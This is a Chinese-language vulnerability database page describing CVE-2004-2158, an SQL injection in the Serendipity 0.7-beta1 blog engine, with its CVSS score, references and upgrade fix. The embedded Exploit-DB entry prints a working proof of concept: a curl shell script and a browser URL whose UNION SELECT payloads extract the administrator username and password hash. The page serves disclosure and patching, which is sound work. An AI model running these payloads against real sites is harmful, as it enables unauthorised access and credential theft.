CVE-2004-2158
CVSS7.5
发布时间 :2004-12-31 00:00:00
修订时间 :2008-09-05 16:43:21
NMCOE    

[原文]SQL injection vulnerability in Serendipity 0.7-beta1 allows remote attackers to execute arbitrary SQL commands via the entry_id parameter to (1) exit.php or (2) comment.php.


[CNNVD]Serendipity多个输入验证漏洞(CNNVD-200412-1066)

        Serendipity 0.7-beta1版本存在SQL注入漏洞。远程攻击者可以借助到(1)exit.php,或(2)comment.php的entry_id参数执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2158
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2158
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-1066
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/17533
(PATCH)  XF  serendipity-sql-injection(17533)
http://www.securityfocus.com/bid/11269
(PATCH)  BID  11269
http://securitytracker.com/id?1011448
(PATCH)  SECTRACK  1011448
http://secunia.com/advisories/12673/
(VENDOR_ADVISORY)  SECUNIA  12673
http://lists.grok.org.uk/pipermail/full-disclosure/2004-September/026955.html
(VENDOR_ADVISORY)  FULLDISC  20040928 Serendipity 0.7-beta1 SQL Injection PoC
http://www.osvdb.org/10371
(UNKNOWN)  OSVDB  10371
http://www.osvdb.org/10370
(UNKNOWN)  OSVDB  10370

- 漏洞信息

Serendipity多个输入验证漏洞
高危 SQL注入
2004-12-31 00:00:00 2005-10-20 00:00:00
远程  
        Serendipity 0.7-beta1版本存在SQL注入漏洞。远程攻击者可以借助到(1)exit.php,或(2)comment.php的entry_id参数执行任意SQL命令。

- 公告与补丁

        The vendor has released an update to address these issues:
        S9Y Serendipity 0.7 beta1
        

- 漏洞信息 (561)

Serendipity 0.7-beta1 SQL Injection Proof of Concept (EDBID:561)
php webapps
2004-09-28 Verified
0 aCiDBiTS
N/A [点击下载]
Proof of Concept 1
------------------


Usage: ./ser_sqli_poc.sh URL_to_Serendipity_Weblog


ser_sqli_poc.sh
---------8<-----------8<-------------
#!/bin/sh


echo -n "Username: "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20username%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
echo -n "MD5(password): "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20password%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
---------8<-----------8<-------------




Proof of Concept 2
------------------


Copy&Paste this to your browser and edit URL_to_Serendipity_Weblog.

http://URL_to_Serendipity_Weblog/comment.php?serendipity[type]=trackbacks&serendipity[entry_id]=0%20and%200%20union%20select%201,2,3,4,username,password,7,8,9,0,1,2,3%20from%20serendipity_authors%20where%20authorid=1%20/*

# milw0rm.com [2004-09-28]
		

- 漏洞信息

10370
Serendipity exit.php entry_id Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Serendipity contains a flaw that will allow an attacker to inject arbitrary SQL code. The problem is that the entry_id variable in the exit.php script is not verified properly and will allow an attacker to inject or manipulate SQL queries.

- 时间线

2004-09-28 Unknow
2004-09-28 Unknow

- 解决方案

Upgrade to version 0.7-beta3 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站